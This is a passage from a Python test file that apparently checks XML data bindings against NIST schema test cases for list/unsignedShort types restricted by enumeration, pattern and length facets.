assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-1-2.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_nistxml_sv_iv_list_unsigned_short_enumeration_1_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-1-3.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_nistxml_sv_iv_list_unsigned_short_enumeration_1_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-1-4.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_nistxml_sv_iv_list_unsigned_short_enumeration_1_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-1-5.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_4_nistxml_sv_iv_list_unsigned_short_pattern_5_1(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1} \d{2}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-5-1.xml",
class_name="NistschemaSvIvListUnsignedShortPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_4_nistxml_sv_iv_list_unsigned_short_pattern_5_2(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1} \d{2}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-5-2.xml",
class_name="NistschemaSvIvListUnsignedShortPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_4_nistxml_sv_iv_list_unsigned_short_pattern_5_3(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1} \d{2}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-5-3.xml",
class_name="NistschemaSvIvListUnsignedShortPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_4_nistxml_sv_iv_list_unsigned_short_pattern_5_4(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1} \d{2}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-5-4.xml",
class_name="NistschemaSvIvListUnsignedShortPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_4_nistxml_sv_iv_list_unsigned_short_pattern_5_5(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1} \d{2}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-5-5.xml",
class_name="NistschemaSvIvListUnsignedShortPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_3_nistxml_sv_iv_list_unsigned_short_pattern_4_1(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-4-1.xml",
class_name="NistschemaSvIvListUnsignedShortPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_3_nistxml_sv_iv_list_unsigned_short_pattern_4_2(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-4-2.xml",
class_name="NistschemaSvIvListUnsignedShortPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_3_nistxml_sv_iv_list_unsigned_short_pattern_4_3(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-4-3.xml",
class_name="NistschemaSvIvListUnsignedShortPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_3_nistxml_sv_iv_list_unsigned_short_pattern_4_4(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-4-4.xml",
class_name="NistschemaSvIvListUnsignedShortPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_3_nistxml_sv_iv_list_unsigned_short_pattern_4_5(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-4-5.xml",
class_name="NistschemaSvIvListUnsignedShortPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_2_nistxml_sv_iv_list_unsigned_short_pattern_3_1(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-3-1.xml",
class_name="NistschemaSvIvListUnsignedShortPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_2_nistxml_sv_iv_list_unsigned_short_pattern_3_2(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-3-2.xml",
class_name="NistschemaSvIvListUnsignedShortPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_2_nistxml_sv_iv_list_unsigned_short_pattern_3_3(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-3-3.xml",
class_name="NistschemaSvIvListUnsignedShortPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_2_nistxml_sv_iv_list_unsigned_short_pattern_3_4(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-3-4.xml",
class_name="NistschemaSvIvListUnsignedShortPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_2_nistxml_sv_iv_list_unsigned_short_pattern_3_5(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-3-5.xml",
class_name="NistschemaSvIvListUnsignedShortPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_1_nistxml_sv_iv_list_unsigned_short_pattern_2_1(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1} \d{2} \d{3}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-2-1.xml",
class_name="NistschemaSvIvListUnsignedShortPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_1_nistxml_sv_iv_list_unsigned_short_pattern_2_2(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1} \d{2} \d{3}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-2-2.xml",
class_name="NistschemaSvIvListUnsignedShortPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_1_nistxml_sv_iv_list_unsigned_short_pattern_2_3(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1} \d{2} \d{3}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-2-3.xml",
class_name="NistschemaSvIvListUnsignedShortPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_1_nistxml_sv_iv_list_unsigned_short_pattern_2_4(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1} \d{2} \d{3}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-2-4.xml",
class_name="NistschemaSvIvListUnsignedShortPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_1_nistxml_sv_iv_list_unsigned_short_pattern_2_5(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{1} \d{2} \d{3}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-2-5.xml",
class_name="NistschemaSvIvListUnsignedShortPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_nistxml_sv_iv_list_unsigned_short_pattern_1_1(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-1-1.xml",
class_name="NistschemaSvIvListUnsignedShortPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_nistxml_sv_iv_list_unsigned_short_pattern_1_2(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-1-2.xml",
class_name="NistschemaSvIvListUnsignedShortPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_nistxml_sv_iv_list_unsigned_short_pattern_1_3(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-1-3.xml",
class_name="NistschemaSvIvListUnsignedShortPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_nistxml_sv_iv_list_unsigned_short_pattern_1_4(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-1-4.xml",
class_name="NistschemaSvIvListUnsignedShortPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_pattern_nistxml_sv_iv_list_unsigned_short_pattern_1_5(mode, save_output, output_format):
r"""
Type list/unsignedShort is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5}.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-pattern-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-pattern-1-5.xml",
class_name="NistschemaSvIvListUnsignedShortPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_4_nistxml_sv_iv_list_unsigned_short_length_5_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-5-1.xml",
class_name="NistschemaSvIvListUnsignedShortLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_4_nistxml_sv_iv_list_unsigned_short_length_5_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-5-2.xml",
class_name="NistschemaSvIvListUnsignedShortLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_4_nistxml_sv_iv_list_unsigned_short_length_5_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-5-3.xml",
class_name="NistschemaSvIvListUnsignedShortLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_4_nistxml_sv_iv_list_unsigned_short_length_5_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-5-4.xml",
class_name="NistschemaSvIvListUnsignedShortLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_4_nistxml_sv_iv_list_unsigned_short_length_5_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-5-5.xml",
class_name="NistschemaSvIvListUnsignedShortLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_3_nistxml_sv_iv_list_unsigned_short_length_4_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-4-1.xml",
class_name="NistschemaSvIvListUnsignedShortLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_3_nistxml_sv_iv_list_unsigned_short_length_4_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-4-2.xml",
class_name="NistschemaSvIvListUnsignedShortLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_3_nistxml_sv_iv_list_unsigned_short_length_4_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-4-3.xml",
class_name="NistschemaSvIvListUnsignedShortLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_3_nistxml_sv_iv_list_unsigned_short_length_4_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-4-4.xml",
class_name="NistschemaSvIvListUnsignedShortLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_3_nistxml_sv_iv_list_unsigned_short_length_4_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-4-5.xml",
class_name="NistschemaSvIvListUnsignedShortLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_2_nistxml_sv_iv_list_unsigned_short_length_3_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-3-1.xml",
class_name="NistschemaSvIvListUnsignedShortLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_2_nistxml_sv_iv_list_unsigned_short_length_3_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-3-2.xml",
class_name="NistschemaSvIvListUnsignedShortLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_2_nistxml_sv_iv_list_unsigned_short_length_3_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-3-3.xml",
class_name="NistschemaSvIvListUnsignedShortLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_2_nistxml_sv_iv_list_unsigned_short_length_3_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-3-4.xml",
class_name="NistschemaSvIvListUnsignedShortLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_2_nistxml_sv_iv_list_unsigned_short_length_3_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-3-5.xml",
class_name="NistschemaSvIvListUnsignedShortLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_1_nistxml_sv_iv_list_unsigned_short_length_2_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-2-1.xml",
class_name="NistschemaSvIvListUnsignedShortLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_1_nistxml_sv_iv_list_unsigned_short_length_2_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-2-2.xml",
class_name="NistschemaSvIvListUnsignedShortLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_1_nistxml_sv_iv_list_unsigned_short_length_2_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-2-3.xml",
class_name="NistschemaSvIvListUnsignedShortLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_1_nistxml_sv_iv_list_unsigned_short_length_2_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-2-4.xml",
class_name="NistschemaSvIvListUnsignedShortLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_1_nistxml_sv_iv_list_unsigned_short_length_2_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-2-5.xml",
class_name="NistschemaSvIvListUnsignedShortLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_nistxml_sv_iv_list_unsigned_short_length_1_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-1-1.xml",
class_name="NistschemaSvIvListUnsignedShortLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_nistxml_sv_iv_list_unsigned_short_length_1_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-1-2.xml",
class_name="NistschemaSvIvListUnsignedShortLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_nistxml_sv_iv_list_unsigned_short_length_1_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 5.
"""
assert_bindings(
